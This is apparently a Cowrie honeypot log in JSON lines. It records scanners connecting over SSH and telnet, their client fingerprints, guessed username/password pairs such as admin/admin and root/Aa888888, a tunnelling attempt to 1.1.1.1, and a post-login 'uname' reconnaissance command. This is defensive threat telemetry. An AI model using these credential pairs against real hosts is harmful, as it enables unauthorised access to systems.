{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:08.988644Z","src_ip":"198.1.93.192","session":"0182c9bdb603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8b99ca45c7","protocol":"telnet","message":"New connection: 170.64.224.25:44288 (159.203.135.109:23) [session: ab8b99ca45c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:17.782540Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54054,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8fe1484e3e1","protocol":"ssh","message":"New connection: 87.106.29.151:54054 (10.17.0.5:22) [session: b8fe1484e3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:31.496724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:31.500642Z","src_ip":"87.106.29.151","session":"b8fe1484e3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:31.594024Z","src_ip":"87.106.29.151","session":"b8fe1484e3e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:32.002690Z","src_ip":"87.106.29.151","session":"b8fe1484e3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.96108317375183,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:32.087522Z","src_ip":"170.64.224.25","session":"643fb2faa026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:33.098861Z","src_ip":"87.106.29.151","session":"b8fe1484e3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":42806,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00ba7a36bcc","protocol":"ssh","message":"New connection: 159.65.58.200:42806 (159.203.135.109:22) [session: d00ba7a36bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:37.803525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:38.019047Z","src_ip":"159.65.58.200","session":"d00ba7a36bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:38.022409Z","src_ip":"159.65.58.200","session":"d00ba7a36bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syresina","password":"123456","message":"login attempt [syresina/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:39.213925Z","src_ip":"159.65.58.200","session":"d00ba7a36bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:40.708357Z","src_ip":"159.65.58.200","session":"d00ba7a36bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":26432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba50cc6b3329","protocol":"ssh","message":"New connection: 176.53.159.196:26432 (159.203.135.109:22) [session: ba50cc6b3329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:41.929469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:41.933332Z","src_ip":"176.53.159.196","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:42.033396Z","src_ip":"176.53.159.196","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:42.336103Z","src_ip":"176.53.159.196","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:42.437540Z","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:42.538913Z","src_ip":"176.53.159.196","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:42.640969Z","src_ip":"176.53.159.196","session":"ba50cc6b3329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37008,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e60c389746d","protocol":"ssh","message":"New connection: 8.210.75.243:37008 (10.17.0.5:22) [session: 8e60c389746d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:48.303290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:49.571747Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:49.574129Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:51.502789Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:51.951437Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:51.953881Z","src_ip":"8.210.75.243","session":"8e60c389746d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.549225091934204,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:55.393485Z","src_ip":"107.6.151.170","session":"d125b231d1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51694,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c8d2caadcb","protocol":"telnet","message":"New connection: 170.64.224.25:51694 (159.203.135.109:23) [session: e8c8d2caadcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:58.207097Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc005cda5def","protocol":"ssh","message":"New connection: 8.210.75.243:49084 (10.17.0.5:22) [session: fc005cda5def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:02.322329Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:05.018649Z","src_ip":"8.210.75.243","session":"6fd0f9e14cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58956,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab5dd56278a6","protocol":"telnet","message":"New connection: 172.81.62.90:58956 (159.203.135.109:23) [session: ab5dd56278a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:05.023278Z"}
{"eventid":"cowrie.session.closed","duration":50.95496869087219,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:08.737392Z","src_ip":"170.64.224.25","session":"ab8b99ca45c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1252e6205b84","protocol":"telnet","message":"New connection: 172.81.62.90:55512 (159.203.135.109:23) [session: 1252e6205b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:09.223865Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48584,"dst_ip":"159.203.135.109","dst_port":22,"session":"528f0bc12b8f","protocol":"ssh","message":"New connection: 51.250.105.222:48584 (159.203.135.109:22) [session: 528f0bc12b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:14.133349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:14.138592Z","src_ip":"51.250.105.222","session":"528f0bc12b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:14.260480Z","src_ip":"51.250.105.222","session":"528f0bc12b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:14.626667Z","src_ip":"51.250.105.222","session":"528f0bc12b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":50766,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4d8b480077","protocol":"ssh","message":"New connection: 122.176.122.24:50766 (10.17.0.5:22) [session: 9b4d8b480077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:15.513656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:15.517133Z","src_ip":"122.176.122.24","session":"9b4d8b480077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:15.750588Z","src_ip":"51.250.105.222","session":"528f0bc12b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:15.786879Z","src_ip":"122.176.122.24","session":"9b4d8b480077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39554,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a6d0d45b97","protocol":"telnet","message":"New connection: 172.81.62.90:39554 (159.203.135.109:23) [session: 68a6d0d45b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:16.417139Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa888888","message":"login attempt [root/Aa888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:16.899459Z","src_ip":"122.176.122.24","session":"9b4d8b480077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:18.173722Z","src_ip":"122.176.122.24","session":"9b4d8b480077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":46686,"dst_ip":"159.203.135.109","dst_port":22,"session":"b92b7a11b23a","protocol":"ssh","message":"New connection: 162.240.218.183:46686 (159.203.135.109:22) [session: b92b7a11b23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.487792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.491475Z","src_ip":"162.240.218.183","session":"b92b7a11b23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:59:27.580187Z","src_ip":"162.240.218.183","session":"b92b7a11b23a","protocol":"ssh"}
